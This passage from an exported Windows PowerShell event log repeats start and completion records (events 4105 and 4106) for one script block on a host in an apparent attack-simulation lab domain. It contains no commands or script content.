Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468952
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468951
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468950
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468949
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468948
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468947
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468946
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468945
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468944
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468943
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468942
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468941
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468940
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468939
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468938
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468937
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468936
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468935
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468934
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468933
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468932
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468931
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468930
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468929
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468928
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468927
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468926
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468925
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468924
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468923
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468922
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468921
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469194
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469193
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469192
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469191
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469190
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469189
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469188
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469187
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469186
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469185
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469184
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469183
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469182
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469181
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469180
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469179
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469178
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469177
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469176
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469175
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469174
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469173
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469172
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469171
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
